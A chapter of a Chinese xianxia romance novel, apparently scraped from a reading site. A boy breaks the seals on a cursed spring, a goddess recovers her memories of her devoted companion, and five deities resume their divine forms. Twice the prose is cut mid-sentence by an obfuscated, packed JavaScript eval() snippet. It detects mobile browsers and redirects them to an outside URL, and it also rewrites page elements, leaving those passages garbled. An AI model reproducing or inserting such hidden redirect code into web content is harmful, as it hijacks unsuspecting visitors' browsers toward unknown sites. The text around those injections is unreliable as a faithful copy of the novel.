"你跑了,因为你知道——你回去,那块糕饼还是不会给你吃。那碗还是算你打碎的。你还是得让着铁柱。那个家不是你的家。那是铁柱的家。你只是住在铁柱家里的一个帮忙干活的人。" 铁蛋的泪干了。不是擦干的。是烧干的。他不想哭了。在灶膛后面哭,在柴垛后面哭,在被窝里哭。哭完了第二天照样劈柴,照样看铁柱吃糕饼。哭改变不了任何事。 铁蛋走到了浊泉边上。 天快黑了。泉面没有光,黑沉沉的,像一面没有底的镜子。泉眼周围的石缝里插着几根乌黑的符节,比铁蛋的胳膊还粗,刻满了纹路。符节旁边的树干上贴着符文,黄纸朱砂,围成一个圈,把浊泉围在中间。 泉底有东西在微微发光。暗红色的,一闪一闪的。铁蛋盯着那团光看了一会儿,觉得暖。像炉火的颜色。大人们说这泉里封着坏东西。但坏东西怎么会发光?坏东西怎么会暖? "撕了它。你头一回不让他们说了算。" 铁蛋看着树干上的符文。他伸出手。手指碰到纸的时候,指尖是烫的——他从小在熔炉边长大,手比同龄的孩子热。纯阳之体。 他犹豫了一下。手停在纸上。 他怕。他怕天谴。他怕打断腿。他怕他娘知道了再打他一巴掌。但他更怕回去之后什么都没变。继续让。让一辈子。 他撕了。 纸从树干上剥离的声音很轻,比撕开一片叶子还轻。朱砂的痕迹亮了一下——灭了。 然后所有符文同时自燃。黄纸围着浊泉烧了一圈,火焰是青色的,没有温度,但每烧掉一张,铁蛋就觉得自己身上少了点什么。像一根绳子被剪断了。 泉底的符节裂了。八道符节从第一道开始裂,像骨头从中间被掰断,一道连着一道,八声闷响,闷在水底下,闷得铁蛋脚底板都在震。 然后泉底翻涌了。水面鼓了一个泡,又一个,一串。泉底那团暗红色的光灭了。黑气从石缝里涌出来,像墨汁滴进清水里,散开,合拢,冲上来。 浊泉炸了。 水柱从泉心喷涌而起,黑气裹着水珠冲天而起,遮住了半边天。铁蛋摔在地上,爬起来,又摔了。脚底板是凉的——他从小在熔炉边长大,脚底板从来没凉过。 黑气裹住了他。从鼻孔、从耳朵、从每一个毛孔钻进去。铁蛋觉得冷,从骨头缝里往外冷。 那个声音没了。 不是渐渐消失的,是突然没了。像有人把门关上了。胸口那团烧了一路的火也灭了,灭得干干净净,像被人从胸口掏走了一样东西。空得发慌。只剩茫然。 铁蛋站在泉边,耳朵里嗡嗡响。只有泉翻的声音,轰隆轰隆的,像打雷。 他低头看着自己手里——什么都没有。纸碎了,碎屑从指缝里漏下去,被风吹散。鼻子在流血。血滴在石头上,一滴一滴,红得很。 他刚才在做什么?他想报复。报复谁?他爹?他娘?铁柱?他想让他们知道铁蛋不是好欺负的。他撕了一张纸。然后天就塌了。 他现在只想被他娘拎着耳朵拖回家。 他不知道那些黑气是什么。他不知道泉底封着什么。他只知道他撕了一张纸。纸很轻。比碗轻,比巴掌轻,比他爹踹在他屁股上的那一脚轻。 他用一只手撕了一张纸,然后天就塌了。 ———————————————— 杏花村。 同一时刻。和合之力在两人之间完成最后一轮流转。 暖流从丹田涌起,沿经脉向四肢漫去。暖流经过的地方,旧伤化开,暗淤消融,积攒了许多年的疲惫像冻土遇到春水,一层一层化净。全身的感知在这一刻全部打开,像一扇一扇窗被推开,光涌进来。 暖流涌过头顶的那一刻,记忆贯通了。 千万年的记忆像一整片海,从头顶灌下来。但在那片海沉下去之后,浮在最上面的,不是大陆,不是天界,不是诛仙台。 是承泽。 一件一件的。全是她当时没看见的。 她想起蔚魄大陆初成的时候,她在云水境做蔚魄大陆的筋骨。 大陆还是光秃秃的,山是她堆的,歪歪扭扭。水是她灌的,深浅不一。她蹲在云水境,拿手指画城池的图纸,画一条河,河分了岔;画一座城,城歪了角。她越画越急,越急越歪,最后把沙子一推,不画了。她觉得自己什么都做不对。 她走了。头也没回。她不知道承泽就坐在她身后。 她走了之后,他捡起一根树枝,在她推乱的沙子上重新画。她画歪的河,他留着,在末端多加了一道弯,让水流得顺了。她画歪的城,他留着,在城墙底下多加了一层地基,让城站得稳了。一笔一笔的,很慢。 她当时不知道。现在她看见了。她画歪的线毛躁、急促,他补的线沉稳、均匀。两种笔触交在一起,意外地好看。 他说过一句话。她当时没听见。现在她听见了。 "没画错。只是还差一点。" 差的那一点,是他补的。 她想起那次大朝会。 她迟到了。路上看见一只受伤的仙鹤,翅膀折了一根羽,挂在崖壁上叫。她停下来,撕了条袖子给它包扎,抱着它走了半程才想起来朝会。到的时候满头草屑,衣袖上沾着血,众神都在。她站在殿门口,窘得不知道该往哪走。 她记得当时的窘迫。但她不知道的是——承泽从自己的位子上站起来了。 他走到她面前,把自己干净的外袍解下来,披在她肩上。把仙鹤接过去,抱在怀里。从头到尾没有看她,没有说话。他走回位子坐下,仙鹤在他怀里安静了。 她当时只觉得松了一口气。没有想过满殿的神都看着,他站起来走到她面前意味着什么。没有想过他把自己外袍解下来,自己只剩内衫,散会之后会不会冷。 散会后她去找他还袍子,他说:"洗了再还。"她抱走袍子的时候,仙鹤还在他怀里。她说让他交给她。他说这只鹤交给他,让她去忙。 她走了两步回头看——她当时不知道自己为什么要回头。现在她知道了。他正低着头,用手指轻轻捋仙鹤折了的那根羽毛。动作很轻,像怕弄疼它。 他对待受伤的东西,就是这样。轻的,慢的,不声不响的。她就是那只仙鹤。他接过来的,从来都是受伤的、狼狈的、窘迫的她。接过去,抱在怀里,不看她,不说话。让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650341|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得一切都很平常。 袍子上有一股泥土的味道,刚下过雨的山坡的味道。她当时只觉得好闻。现在她知道了——那是他的味道。万物从他身上生长出来,他闻起来就是泥土和雨水。 她想起下雨那天。 她第一次造雨,站在云上往下倒水。觉得多倒一点好,草木才长得快。结果倒多了,淹了三个村子。她趴在云边往下看,水漫到了屋顶。收不回来。她慌了。 她记得当时的慌。她闯祸了。她做什么都做过头。 但她不知道的是——承泽已经在旁边了。不是冲过来的。是一直在旁边。她倒水的时候他在旁边,她倒多了的时候他在旁边,她慌了的时候他还在旁边。他没有拦她。他从来不拦她。只是在旁边备着。 他蹲下来,一只手按在地脉上。赭黄色的光从他掌心漫开,顺着地脉往下走。水就退了。慢慢地、稳稳地退回去的,像有人在水底下开了一条沟,让水自己找到出路。 "下次倒少一点。"他说。 "你怎么知道我会倒多?" 他看了她一眼。"你每次都倒多。" 她当时愣了一下,然后笑了。以为他在打趣她。现在她想通了。他说的是雨,但也不只是雨。她做什么都这样——给得太多,倒得太满。对人也一样,给太多心。他看得清清楚楚。从来没有拦过她。不是拦不住,是不拦。他知道拦了她会不开心。所以在旁边备着,等她倒多了,他来收。 那数千年,他收了数千年。她没有想过他兜了多久,兜的时候累不累。她从来都没有想过。 她想起界碑。 她造完一处地方就给它起名字。起的名字都不太正经——"歪脖子沟""大脚丫湖""磕膝盖岭"。别的神听见了都笑,觉得堂堂太初元尊起的名字像村口老汉起的。她不在乎。承泽从来不笑她。 但她不知道的是,她走了之后,承泽会留下来。他蹲在界碑前面,把她起的那些名字一笔一画刻上去。歪脖子沟的界碑上刻着"歪脖子沟",大脚丫湖的界碑上刻着"大脚丫湖"。他刻字的时候很认真,一笔一画,力道均匀。好像这些名字是了不得的东西,值得刻在石头上,留万万年。 有一次她折回来拿忘掉的东西,正好看见他蹲在界碑前刻字。她站在树后看着,没有出声。他刻完了"歪脖子沟"四个字,站起来,拍了拍手上的石粉。看着界碑上的字,嘴角动了一下。然后走了。 她走到界碑前面,伸手摸了摸那些字。刻得很深,笔画很稳。她起的歪歪扭扭的名字,被他刻在石头上之后,忽然就有了一种郑重感。 她当时心里想的是"他怎么有空刻这个?"觉得是一件小事。刻字而已。现在她明白了。他不是顺手刻的。他是一笔一画刻的,刻得很深。她起的名字是胡闹,他刻的字是把胡闹变成真的。她画歪的城池他补地基,她倒多的雨他开沟,她起的歪名字他刻成石头。他做的每一件事都是同一件事——把她做的东西接住,让它站稳,让它留下。 她从来没问过他为什么。他也没说过。 然后她想起诛仙台。 她跪在上面,皓白长裙被血浸透。三十刑棍落在背上,她没有呻吟一声。然后她跳了下去。 她记得跳下去那一刻的心情。不后悔。她觉得该说的话说了,该做的事做了。她没有想过别人。 但她坠落的途中余光里看到了他。 她看见苍宇承泽冲到了诛仙台边缘。没有半分迟疑,纵身跃下。风灌进他的袍袖,皓月白的衣袂在云海中猎猎翻飞,他伸出手,想拉住她。 她立下终极神谕之力,一道无形的屏障轰然展开。他撞上那道屏障,被弹回来,重重摔在石阶上。神骨碎裂。他撑起一半,又跪倒。望着她坠下去的那片云海,没有发出任何声音。 她当时想的是"不要追"。她觉得这是她自己的事。她跳她的,他追什么。 现在她明白了。他追的是她。不是想拦她,不是想救她。是想跟她一起坠下去。她落在哪里,他就落在哪里。那时,他神骨碎了,跪在石阶上,望着她坠下去的那片云海,没有发出任何声音。 没有发出任何声音。 意味着什么呢? 他没有叫她,他已经说不出话了。他看着她坠落,什么都做不了,连声音都发不出来。 他那双眼睛里没有愤怒,没有责怪,只有她从来没有看清过的东西。 她花了十世才看清。 他从来没有说过爱。他把她的胡闹变成真的,把她的莽撞变成安稳,把她给得太多的东西一样一样接住,他做了那么多,一次都没有说过。 她当时看不见。她忙着造大陆,忙着造雨,忙着起名字,忙着追在苍野耔煦身后问,为什么他不娶她。而承泽在身后,她在前面,她从来没有回过头。 十世轮转。每一世她都在找,每一世都差一点。直到这一世,他又一次挡在她身前,用自己的血肉之躯抵挡魅绝殇。放弃王位,陪她在这间杏花村的小屋里避世。他劈柴,烧火,给她烤红薯。 苍宇承泽。她在天界时,甚至从来没有叫过他的名字,只知道他是个脾气很好的小哥哥。 然后她睁开了眼。 清晨。阳光从窗棂漏进来,落在她散开的发间。她先听见声音——灶膛里柴火的噼啪声,院子里公鸡的啼叫,远处有人挑水走过石板路的脚步。然后她感觉到了温度——一具暖暖的胸膛贴着她的后背,一条手臂搭在她腰间,呼吸均匀而深沉地拂过她的后颈。 承泽还没有醒。他的眉心舒展着,嘴角带着一丝极淡的笑意——卸下了所有重担之后才有的睡容。阳光落在他的睫毛上,落在他微微张开的手指上。她翻过身,看着他。她的眼泪无声地滚下来。 "承泽。"她叫他。 他醒了。睁开眼的那一刻,她的泪滴在他的锁骨上。他看着她,目光里有一瞬间的怔忪,然后安静下来。 "我想起来了。"她说,"所有的事。" 她安静了一瞬。那些记忆像退潮一样慢慢沉下去——沙滩上他补的城池图纸,披在肩上的外袍,退去的洪水,界碑上歪歪扭扭的四个字,诛仙台上他追下来时猎猎翻飞的衣袂。全都沉下去了。沉到底,变成一句话。 她把脸从他胸口抬起来,用手背擦了一下眼泪。深吸一口气。没擦干净,又擦了一下。 "承泽,我从不悔跳下诛仙台。" 承泽看着她。他沉默了一会儿,然后笑了。眼睛也跟着动的笑。很轻,但很真。 "我也从不悔守着你。" 他抬手,把她额前被眼泪粘住的一缕碎发拨到耳后。指腹蹭过她的鬓角,停了一下,收回来。 她把脸埋进他的胸口。他把她整个人拢进怀里,收得很紧。两个人都没有再说话。阳光从窗棂一道一道地移过来,移过他们的头发,移过他们的肩膀,移过他们交握的手指。 49. 五德归位 自反而缩,虽千万人,吾往矣。 ——《孟子·公孙丑上》 许久,悦然从承泽怀里抬起头,望着他山一样深邃的眉眼,问:"承泽,你怎么就看上了我?" 承泽喉结滚动,笑声从胸腔里溢出来。"因为,你是个傻丫头。"一个敢想敢做的傻丫头。 那么多神仙,自幼时起,便都有过开疆辟土建造一片净土的想法,但直到寂灭,未有一人真的去做。只有她,小小的一团,便真的去建造了。 悦然拿额头撞了一下他下巴,那里有他新生的胡渣。 "我哪里傻了。" "画城池角是歪的,降雨淹了三个村子……"他掰着手指,一件一件数,语调里满是宠溺。 "那不是傻,那是——" "那是手抖。"他替她说完了,握起她的手轻轻吻着。 她闷笑,仰头吻着他,承泽不禁呼吸一紧,便又是一番缠绵。 窗外有鸡啼。远处有人挑水走过石板路,扁担吱呀吱呀的。阳光从窗棂移到床沿,移到她散开的发间。 她慵懒地半眯着眼,想就这样多躺一会儿。 然后她感觉到了。 和合之力贯通全身的余韵里,有什么东西亮了。 不是暖流,不是神力——是一缕光,极远极淡,像隔着千山万水有人在呼唤。 她体内那缕镜光和沉在雨虹山清泉泉心的本体之间,有什么东西接通了。 太初鉴心镜在回应她。它在那里沉了上万年,从她跳下诛仙台时将它留在蔚魄大陆了,那是她自己的本命法器。到此刻,它一直在等。 同时她也感应到了浊泉。 法阵碎了。 浊气的结界失效了。 她从承泽怀里坐起来,张开掌心,对着心脉中那缕镜光,轻轻说了一句: "回来吧。" 承泽看着她,眉心不可见地蹙了一下。 他问:"不需要它来隔绝清浊二泉了吗?" 悦然笑了,带着累世而来的释然与通透。 "小时候的我总觉得,正就是正,邪就是邪,黑就是黑,白就是白,对就是对,错就是错。所以造蔚魄大陆的时候,我用鉴心镜隔绝了清浊二泉。我要把一切阴暗全部净化干净,我要一个不染杂尘的世界。” 悦然手勾着承泽的发丝,有些调皮地将它们缠在一处。 “我倒要感谢那个孩子——他破坏了浊泉的结界,反倒让我想通了。"她顿了顿,看着自己的掌心,"这世间是非善恶,美丑对错,哪里是一道镜子便能隔得开的呢?" 承泽安静地看她一瞬,点了点头。 "是时候,和那湮渊,做个了断了。" 一道暖白色的光从雨虹山方向破空而来,穿云裂雾,直直落入她掌心。 镜子轻得像一片月光。 它回来的时候,清泉和浊泉之间那道隔断消失了。两股水脉在雨虹山深处合为一处——清者不再自清,浊者不再自浊。天地最初的混沌在这一刻重新降临。 镜光在她掌心微微发颤。她握住它,很稳。 镜面映出的不是她的脸。 它映出的是整片蔚魄大陆——山川、河流、城池、村落,以及地底深处正在发生的事。 清泉与浊泉合流的瞬间,封在浊泉泉心万年之久的创世之力涌了出来。 那是蔚魄大陆诞生时,悦然将清浊二气分判,浊气被清泉净化、压制,维持着微妙的平衡。万年来,浊泉泉心封存着那股最原始、最浓烈的暗浊之力。 现在,禁制碎了。那股力量倾泻而出。 但那不是最可怕的。 最可怕的是——有一个东西,正在接住这股力量。 湮渊。 它一直在。从蔚魄大陆诞生的第一天起,它就在。它本是弥漫在地脉深处的暗浊气息,无名无形,被清泉日复一日地净化着,维持着这片大陆的平衡。 直到耔煦觉醒的那一刻。 那一场天地震荡搅动了地脉深处沉寂万年的浊气。暗浊气息在地底翻涌、碰撞、凝聚——第一次有了核。浊核成型的那一刻,湮渊有了意识。 从那以后,它不再是一团被动的浊气。它开始主动蔓延,沿着地脉渗入大地的每一个角落,挑唆人心底的恶念——贪、嗔、妒、恨。每一缕被它唤醒的恶念,都成了它的养分。它在喂养自己。它在长大。 但它始终缺一样东西——足够的力量。浊核虽成,能量不足。它只能暗中渗透,不能明面吞噬。 所以它等。等一个缺口。 那个孩子就是缺口。 铁蛋撕下禁制的那一刻,浊泉泉心封存了万年的创世之力倾泻而出。湮渊等的就是这一刻。它张开整个身躯,将那股暗浊之力尽数吞入。 悦然在镜光中看见了。 它变了。 不再是一团弥散的浊气,不再是一个暗中蛰伏的暗影。 它有了核——浓稠如墨的浊核在它体内旋转,像一颗黑色的心脏。 它有了能量——创世之初的暗浊之力充盈着它的每一寸躯壳,浑厚、暴烈、不可一世。 它有了意识——不是本能的趋利避害,是清醒的、主动的、带着目的的意识。 它要吞噬一切。 浊气以雨虹山为中心,沿着地脉向五方铺开。所过之处,草木枯萎,河水变浊,鸟兽惊逃。大地上那些被它挑唆过的恶念、积压的怨气、沉睡的恨意,都在这一刻被它收拢,拧成一股,汇入它的躯壳。 它在集结,它在扩张,速度极快。 承泽也看见了。他站在她身侧,面色沉了下去。 悦然握紧太初鉴心镜。 湮渊,它长成了。 她将灵力注入镜中,暖白色的光柱冲天而起,穿云裂雾,直入九霄。光柱在云层之上炸开,化作五道极光,分别射向蔚魄大陆的东、南、西、北、中五方。 那是召唤。太初鉴心镜在召唤五德归位。 五神已然全部觉醒。 东。循化岛。 青翠色的极光落入银杏树下。苍野耔煦正压住一波浊气,掌心一震——青梧礼仁尺亮了。青翠色的光纹从尺身涌出,沿经脉铺满全身。青木元尊的封印在这一刻碎裂。不是轰然炸开,是像春天一样——从根部往上,一寸一寸地苏醒。眉间那道拧了许久的结松开了。 他踏空而起。青翠色的光尾从循化岛方向拖过来,像一道划过天际的春虹。每落一步,脚下便绽开一片青翠色的竹叶,旋即散去。 青木元尊的法服已自行凝聚——青翠色与玄青色交织的广袖深衣,袍面绣着暗金色的竹纹与经卷纹,从袍角一路蔓延至肩头,每一道竹节中藏着一卷经典的纲目。内衬青色长衫,领口与袖口镶着釉蓝色的边。腰间束着玄色的丝绦,绦端坠着一枚青玉竹节。足蹬玄色云头履,履面绣着翠色的卷草纹。 青梧礼仁尺横在他身侧。三尺长的玉尺,通体青翠,尺面刻着礼乐经文的微缩铭文,每一行都是一部圣贤经典的纲目。尺端嵌着一枚青木德光,散发着温润的翠色光晕。尺身微微旋转,翠色的光纹从尺面漫出,像一卷缓缓展开的经书。 他蓄了短须,修剪得极齐整,衬着线条分明的下颌,添了几分沉稳的威仪。眉骨高而舒展,鼻梁挺直,薄唇微抿,天生一副讲规矩的面相。眉心一点翠光,像第三只眼——审视,度量,温柔而严格。眼瞳是青翠色的,温润、明亮,像春日第一片新叶上透过的光。头发束得很高,用一根青玉簪固定,一丝不乱。整个人站在那里,像一棵活了千年的梧桐——枝干端直,叶冠如盖,风来不动,雨来不摇。 他落在雨虹山脚,双手负于身后,没有说话。身周三丈之内,连风都规矩了。 然后就在他想要走进雨虹山时,他的脚步却迟疑了下来。 南。瓦鲁边境。 赤金色的极光落入伤兵营的废墟中。苍烈辞焰仍靠在碎石上,胸口插着匕首。一百零八颗赤焰梵心珠同时亮起——赤金色的光纹从每一颗珠子上涌出,在他周身结成一圈又一圈梵纹。匕首脱落了。伤口边缘的皮肤开始愈合,新生的皮肉上浮着赤金色的梵纹。蛊纹被梵光一寸一寸逼退,从心脉退到肩头,从肩头退到指尖。他没有站起来,只是缓缓睁开了眼。赤金色的眼瞳里,有火在烧——但那火是安静的。 赤金色的莲火从瓦鲁方向一路烧过来,空气被灼得扭曲,连光都弯了。他踏火而至,落地的时候脚下的莲火缓缓收拢,缩成一朵赤金色的莲花,贴在他脚底,旋即消散。一百零八颗赤焰梵心珠悬浮在他身后,排成一个巨大的圆环,缓缓转动,像一圈沉默的经轮。最大的那一颗有拳头大小,刻着一尊完整的梵文造像,金光最盛。胸口的疤上浮着赤金色的梵纹——像一道愈合的封印。 离烬烈尊的法衣已在途中自行凝聚——赤金色与玄黑色交织的袈裟,外披赤金色,袈裟上绣着暗红色的火焰纹,每一簇火焰中都藏着一尊微缩的梵文。内衬玄黑色的长衫,领口与袖口镶着赤金色的边。腰间束着赤金色的念珠绳,绳端坠着一颗拇指大小的赤焰珠。赤着一双脚,脚踝上缠着一圈赤金色的梵纹链。 面容温润如玉,五官柔和而深邃。眉骨圆润,鼻梁挺秀,嘴唇微厚,天生一副慈悲相。皮肤是麦色的,像被烈日吻过,下颌线条柔和但有力。眼瞳是赤金色的,温热、明亮,像日落前最后一缕光——照亮一切,灼烧一切,但从不伤人。眉毛修长,眉尾微微下垂,添了几分悲悯的气度。头发剃得很短,近乎光头,但发根处浮着赤金色的梵纹,像一顶光冠。他笑起来的时候,整个人都在发光——赤金色的、暖融融的光,像冬天里烧得正旺的炉火。 他双手合十,对苍野耔煦微微欠身,没有说话,带着止息一切的安定,沉稳、静谧。 西。凛锋。 银蓝色的极光劈入那座裂开的山体前。苍绝铮石握着断罪钺,钺刃上银蓝色的光纹骤然大盛。那道光从钺刃倒灌回他体内,沿手臂涌入心脉,再从心脉炸开。银蓝色的光铺满四肢百骸,冷得像刀刃,快得像闪电。锋利。纯粹的锋利。 银蓝色的闪电从凛锋方向劈过来,云层被撕成两半,久久不能合拢。他破空而至,落地的时候断罪钺往地上一顿,钺刃没入石中三寸,石面上立刻绽开一圈银蓝色的裂纹。 那道从眉骨延伸到颧骨的旧疤横贯了半张脸,在银蓝色的光纹中格外醒目——勋章,不是伤。颧骨高削,下颌线条凌厉得像刀削出来的。眉毛很浓,尾部微微上挑,天生一副不驯的样子。眼瞳是银蓝色的,冷冽、锋利,像两片刚淬过水的刀刃。他歪着头,看了一眼身边二人,嘴角挂着一丝似有若无的笑——宁和中泛着刀锋的锐芒。没说话,但那个眼神里有东西:我来了。 苍绝铮石——皓锋金宸神君——的战袍已在途中自行凝聚,玄铁色的窄袖战衣,袍面流转着银蓝色的风纹,像被刀风一刀一刀割出来的纹路。肩吞是玄金色的兽首,獠牙衔着银蓝色的流苏。腰间束着银色的战带,带扣是一柄微缩的匕首。战袍下摆开叉至膝,露出银灰色的战裤和玄铁色的战靴,靴面钉着银色的铆钉,靴底刻着断罪钺的纹样。玄金断罪钺横在他身侧,通体玄金,钺身宽三寸,钺刃薄如蝉翼,刃口流转着银蓝色的寒光。钺柄缠着银黑色的鲛鱼皮,柄尾坠着一颗玄铁色的八面棱珠。头发束得很高,用一根银色的发冠固定,发冠两侧伸出两枚尖锐的翅,像两把小刀。几缕碎发从发冠下漏出来,垂在额前,他懒得拢。 北。滨蓝。 沧澜色的极光没入海面之下。苍珏安云刚从海里走上岸,沧澜云水拂在掌心亮着。沧澜色的光从拂尘丝线涌出,沿经脉流遍全身。他的身体在变透——像水。清澈的、深邃的、不可测的水光。 沧澜色的水脉从滨蓝方向铺过来,从天边一直延伸到雨虹山脚。水脉过处,天空被染成一片沧蓝色,连云都变成了水雾。他御水而来,落地的时候云水拂轻轻一甩,丝线上的水珠洒落一地,每一滴落地便化成一朵沧蓝色的冰花,旋即融化。他走过的地方,空气里浮着一层细密的水雾,像下过一场看不见的雨。 玄汐渊上神的水纹长袍自行凝聚——深沧澜色的广袖长袍,袍面绣着银白色的水纹,从袍摆蔓延至腰间,像一条倒流的河。袍裾拖地两尺,走动时银白色的水纹在袍面上流动,像活的。腰间系着银白色的丝绦,绦端坠着一枚水滴形的玉坠。足蹬银白色的云靴,靴面缀着细碎的沧蓝珠。沧澜云水拂横在他身侧,三尺长的拂尘,柄是沧蓝色的珊瑚玉,丝线是沧澜色的,每一根都流转着水纹,末梢坠着微缩的水滴形法珠。拂尘在风中微微飘动,每一根丝线都像一条细小的溪流。 面容清冷如霜雪,五官精致而深邃——眉如远山,目若秋水,鼻梁秀挺,薄唇微抿,下颌线条清瘦但有力。皮肤极白,白得近乎透明,隐约能看到太阳穴处的青色血管。眼瞳是沧蓝色的,深不见底,像两汪没有底的潭水。长发半束半散,束起的部分用一根银白色的发簪固定,散落的部分垂在肩后,发尾是沧蓝色的,像被水浸过。表情却仍是少年的生动澄澈。然而这澄澈你却看不到底,只看到流动的光晕。 他对着苍野耔煦深深鞠躬,唤了一声:“师兄”。 —— 四神落定。东青翠,南赤金,西银蓝,北沧澜,各占一方。 承泽没有抬头看天。 他转过身,面对悦然,站在院子中央。 暖白色的镜光从她掌心漫出来,落在他身上。赭黄色的光纹从他心脉深处亮起,沿经脉铺满四肢百骸——很慢,一层一层地,像日出。 先是他身上的粗布短褐,布纹一点一点褪去颜色,褪去质地,像一层面壳碎裂,底下是另一层衣袍在生长。深赭黄色的广袖长袍从领口往外漫出来,袍面绣着暗金色的山纹,从袍角一路蔓延至肩头,每一道纹路都是一座山脉的缩影。腰间系上土黄色的束带,带扣是一枚微缩的坤岳镇疆玺,四角吞着四方土德之光。足蹬玄色高靴,靴面纹着地脉的走向。领口很正,袖口很宽,袍角垂坠,不怒不飘——像山,不动的。 然后是他的手。那双在杏花村劈柴、翻地、揉她头发的大手,骨节粗了些,皮肤糙了些,身上还带着雨后新泥的湿润气息。赭黄色的光纹从手背淌过去,淌过的地方,皮肤收紧了,骨节匀称了,指甲变得干净而有力。 然后是他的脸。日光在他脸上走了一遍——颧骨高了半分,下颌线条方正了,像山岩的截面。眉骨平而舒展,眉毛浓了些,眉尾微微下压,添了几分不苟言笑的气度。鼻梁高而直。嘴唇润泽饱满,微微抿着。万年的重压从肩上卸去,他没有觉得轻,反而觉得稳。脚踏实地的那种稳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651123|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他本就是山川河泽,坤德载物。 坤岳镇疆玺浮在他右掌之上,方方正正,通体赭黄,玺面刻着山川地脉的纹路,四角吞着四方土德之光。光纹从玺面漫出,沿着他的手臂爬上肩头,又从肩头淌下袍角,像地脉在衣袍上流淌。 他的头发束了起来,一丝不苟,用一枚赭黄色的玉冠固定,浩然庄严。 整个过程中,他一直看着悦然。 不是看天,不是看远方涌来的浊气,不是看自己身上正在发生的变化。他看着她。从粗布短褐褪成赭黄玄袍,从农夫的眉眼长成天神的容止,他的目光一刻没有离开过她的脸。 那目光里有东西,不是壮志,不是战意,是深情。是"我变回来了,但我还是那个给你烤地瓜的人"的深情。 悦然看着他。看着这个睡在她身边三年多的朴实农夫,一点一点变回厚土镇元君的样子。她没有说话。她的眼眶红了一下,随即笑了。 承泽的眉尾轻轻抬了一下,整个人散逸出旷野花香。 他站在那里,坤岳镇疆玺在掌心放出赭黄色的光柱,冲天而起。他站过的地方,地面微微下沉半寸——大地在他脚下沉了半寸,像山根扎进了地里。 —— 五神齐聚。四方的流光在承泽身边各占一方,他是中。赭黄为基,青翠为木,银蓝为金,沧澜为水,赤金为火——五行归位。 五道法器的光纹同时亮起,向太初鉴心镜汇去。赭黄、青翠、银蓝、沧澜、赤金——五色光纹在镜中交汇,旋转,拧成一股。 镜光陡然大盛。 暖白色的光从镜面漫出来,涌向悦然。 凡间衣物碎裂消散。 曦宇上仙的衣冠自行凝聚。暖白色的广袖长袍,袍面没有绣纹,光在袍面上流动,像活的——像水在走,又像云在行。腰间系着一条素白的丝绦,绦端没有坠饰,只有一缕暖白色的流苏。她的长发披散在身后,发间没有任何饰物——只有光。暖白色的光从她的发根流向发尾,像一条流动的银河。足蹬素白色的云履,履面没有任何纹饰,每走一步,脚下便漾开一圈暖白色的光晕,像月色落在水面上。 她是几仙中品阶最低的,却是这片天地的创世之神。 十世轮回,万年沉寂,她把所有的天真都走成了通透。眉目舒展,鼻梁秀直,嘴唇微微上翘,天生一副笑相——但那笑不是小姑娘的笑了。是看过了十世悲欢之后,把所有的东西都放下了的笑。她的皮肤是暖白色的,月光晒过的那种白,带着温度。她的眼瞳是暖白色的,澄明、通透,像一面刚被擦净的镜子,什么都照得见,什么都不留。 她整个人在发光。暖白色的,柔而不弱。那种光不是亮的,是润的——像玉,像月光,像清晨第一缕阳光落在水面上的那种润。你看着她,就觉得安心。不是被保护的那种安心,是被理解的那种安心。好像所有的委屈、所有的恐惧、所有无处安放的不幸,在她面前都可以放下来。她会接住。她已接得住。 她美得不可方物。但那美不是锋利的、逼人的。是温润的,是窈窕的,是清透的,像一棵树长到了最好的年纪,枝干舒展,叶冠丰盈,风来了不折,雨来了不腐,站在那里就是一座风景。你看见她,便只觉一世安好。 太初鉴心镜在她身前缓缓旋转,暖白色的镜光照向四方,将五位尊神法器上的光纹一一汇聚,拧成一股,冲天而起。 —— 五道光柱在雨虹山顶合为一处。 五德之光在天穹之上织成一片极光,照亮了半片天幕。赭黄如大地,青翠如春木,银蓝如利刃,沧澜如深水,赤金如烈焰,铺满天穹。 极光之下,大地在震。脚下的石块在跳动,泥土从裂缝里往上翻涌。雨虹山顶那团极暗极浓的黑气盘旋着,膨胀着,像一头被惊醒的巨兽正在伸展四肢。浊气从山顶沿着山脊往下淌,淌过枯死的树木,淌过干裂的岩石,淌到山腰处停住了——停住的那条线,恰好是光柱照亮的边界。界内是光,界外是暗。浊气压在界线上,像潮水压在堤坝上,一寸一寸地试探。 空气变得稠了。 一股陈腐的甜腻气息从地底渗上来,像万物腐烂到最后的那一口气,无声无息地漫过每一寸空气。 风停了——山顶那团黑气太重,压住了风。连光柱都在微微发颤,像插在流沙里的柱子,撑着,但撑得吃力。 极光的边缘开始泛黑,像墨汁沿着宣纸的纹路慢慢洇过来。鸟不叫了,虫不鸣了。整座雨虹山安静得像一口棺材,只有闷响从地底传上来——一下,一下,一下——像一颗巨大的心脏在地壳下面跳动。 六个人站在山脚下,各自身上的光纹还在流转。没有人说话。不需要说话。神格已经恢复,天界的门一直开着——回去只需一步。但没有一个人动。 他们站在这片土地上,脚下是赭黄的土,头顶是蔚蓝的天,远处是沧澜的海,近处是赤金的火,风里带着青翠的草木气息,暖白色的光从他们中间那个女子身上漫出来,照亮了每一个人的脸。 